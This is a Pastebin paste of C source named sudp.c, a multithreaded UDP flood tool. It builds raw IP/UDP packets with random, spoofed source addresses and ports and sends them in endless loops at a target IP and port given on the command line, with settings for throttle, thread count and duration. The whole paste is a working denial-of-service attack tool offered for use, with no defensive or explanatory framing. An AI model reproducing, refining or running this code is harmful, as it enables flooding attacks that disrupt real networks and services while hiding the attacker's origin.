Advertisement
wtfbbq

sudp.c

Apr 25th, 2015
9,172
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.42 KB | None | 0 0
  1. #include <time.h>
  2. #include <pthread.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/socket.h>
  8. #include <netinet/ip.h>
  9. #include <netinet/udp.h>
  10.  
  11. #define MAX_PACKET_SIZE 4096
  12. #define PHI 0x9e3779b9
  13.  
  14. static uint32_t Q[4096], c = 362436;
  15.  
  16. struct thread_data{
  17.         int throttle;
  18.     int thread_id;
  19.     unsigned int floodport;
  20.     struct sockaddr_in sin;
  21. };
  22.  
  23. void init_rand(uint32_t x)
  24. {
  25.         int i;
  26.  
  27.         Q[0] = x;
  28.         Q[1] = x + PHI;
  29.         Q[2] = x + PHI + PHI;
  30.  
  31.         for (i = 3; i < 4096; i++)
  32.                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  33. }
  34.  
  35. uint32_t rand_cmwc(void)
  36. {
  37.         uint64_t t, a = 18782LL;
  38.         static uint32_t i = 4095;
  39.         uint32_t x, r = 0xfffffffe;
  40.         i = (i + 1) & 4095;
  41.         t = a * Q[i] + c;
  42.         c = (t >> 32);
  43.         x = t + c;
  44.         if (x < c) {
  45.                 x++;
  46.                 c++;
  47.         }
  48.         return (Q[i] = r - x);
  49. }
  50.  
  51. char *myStrCat (char *s, char *a) {
  52.     while (*s != '\0') s++;
  53.     while (*a != '\0') *s++ = *a++;
  54.     *s = '\0';
  55.     return s;
  56. }
  57.  
  58. char *replStr (char *str, size_t count) {
  59.     if (count == 0) return NULL;
  60.     char *ret = malloc (strlen (str) * count + count);
  61.     if (ret == NULL) return NULL;
  62.     *ret = '\0';
  63.     char *tmp = myStrCat (ret, str);
  64.     while (--count > 0) {
  65.         tmp = myStrCat (tmp, str);
  66.     }
  67.     return ret;
  68. }
  69.  
  70.  
  71. /* function for header checksums */
  72. unsigned short csum (unsigned short *buf, int nwords)
  73. {
  74.   unsigned long sum;
  75.   for (sum = 0; nwords > 0; nwords--)
  76.   sum += *buf++;
  77.   sum = (sum >> 16) + (sum & 0xffff);
  78.   sum += (sum >> 16);
  79.   return (unsigned short)(~sum);
  80. }
  81. void setup_ip_header(struct iphdr *iph)
  82. {
  83.   iph->ihl = 5;
  84.   iph->version = 4;
  85.   iph->tos = 0;
  86.   iph->tot_len = sizeof(struct iphdr) + 1028;
  87.   iph->id = htonl(54321);
  88.   iph->frag_off = 0;
  89.   iph->ttl = MAXTTL;
  90.   iph->protocol = IPPROTO_UDP;
  91.   iph->check = 0;
  92.  
  93.   // Initial IP, changed later in infinite loop
  94.   iph->saddr = inet_addr("192.168.3.100");
  95. }
  96.  
  97. void setup_udp_header(struct udphdr *udph)
  98. {
  99.   udph->source = htons(5678);
  100.   udph->check = 0;
  101.   char *data = (char *)udph + sizeof(struct udphdr);
  102.   data = replStr("\xFF" "\xFF" "\xFF" "\xFF", 256);
  103.   udph->len=htons(1028);
  104. }
  105.  
  106. void *flood(void *par1)
  107. {
  108.   struct thread_data *td = (struct thread_data *)par1;
  109.   fprintf(stdout, "Thread %d started\n", td->thread_id);
  110.   char datagram[MAX_PACKET_SIZE];
  111.   struct iphdr *iph = (struct iphdr *)datagram;
  112.   struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  113.   struct sockaddr_in sin = td->sin;
  114.   char new_ip[sizeof "255.255.255.255"];
  115.  
  116.   int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  117.   if(s < 0){
  118.     fprintf(stderr, "Could not open raw socket.\n");
  119.     exit(-1);
  120.   }
  121.  
  122.   unsigned int floodport = td->floodport;
  123.  
  124.   // Clear the data
  125.   memset(datagram, 0, MAX_PACKET_SIZE);
  126.  
  127.   // Set appropriate fields in headers
  128.   setup_ip_header(iph);
  129.   setup_udp_header(udph);
  130.  
  131.   udph->dest = htons(floodport);
  132.  
  133.   iph->daddr = sin.sin_addr.s_addr;
  134.   iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  135.  
  136.   int tmp = 1;
  137.   const int *val = &tmp;
  138.   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  139.     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  140.     exit(-1);
  141.   }
  142.  
  143.   int throttle = td->throttle;
  144.  
  145.   uint32_t random_num;
  146.   uint32_t ul_dst;
  147.   init_rand(time(NULL));
  148.   if(throttle == 0){
  149.     while(1){
  150.       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  151.       random_num = rand_cmwc();
  152.  
  153.       ul_dst = (random_num >> 24 & 0xFF) << 24 |
  154.                (random_num >> 16 & 0xFF) << 16 |
  155.                (random_num >> 8 & 0xFF) << 8 |
  156.                (random_num & 0xFF);
  157.  
  158.       iph->saddr = ul_dst;
  159.       udph->source = htons(random_num & 0xFFFF);
  160.       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  161.     }
  162.   } else {
  163.     while(1){
  164.       throttle = td->throttle;
  165.       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  166.       random_num = rand_cmwc();
  167.  
  168.       ul_dst = (random_num >> 24 & 0xFF) << 24 |
  169.                (random_num >> 16 & 0xFF) << 16 |
  170.                (random_num >> 8 & 0xFF) << 8 |
  171.                (random_num & 0xFF);
  172.  
  173.       iph->saddr = ul_dst;
  174.       udph->source = htons(random_num & 0xFFFF);
  175.       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  176.  
  177.      while(--throttle);
  178.     }
  179.   }
  180. }
  181. int main(int argc, char *argv[ ])
  182. {
  183.   if(argc < 5){
  184.     fprintf(stderr, "Invalid parameters!\n");
  185.     fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <throttle> <number threads to use> <time>\n", argv[0]);
  186.     exit(-1);
  187.   }
  188.  
  189.   fprintf(stdout, "Setting up Sockets...\n");
  190.  
  191.   int num_threads = atoi(argv[4]);
  192.   unsigned int floodport = atoi(argv[2]);
  193.   pthread_t thread[num_threads];
  194.   struct sockaddr_in sin;
  195.  
  196.   sin.sin_family = AF_INET;
  197.   sin.sin_port = htons(floodport);
  198.   sin.sin_addr.s_addr = inet_addr(argv[1]);
  199.  
  200.   struct thread_data td[num_threads];
  201.  
  202.   int i;
  203.   for(i = 0;i<num_threads;i++){
  204.     td[i].thread_id = i;
  205.     td[i].sin = sin;
  206.     td[i].floodport = floodport;
  207.     td[i].throttle = atoi(argv[3]);
  208.     pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  209.   }
  210.   fprintf(stdout, "Starting Flood...\n");
  211.   if(argc > 5)
  212.   {
  213.     sleep(atoi(argv[5]));
  214.   } else {
  215.     while(1){
  216.       sleep(1);
  217.     }
  218.   }
  219.  
  220.   return 0;
  221. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement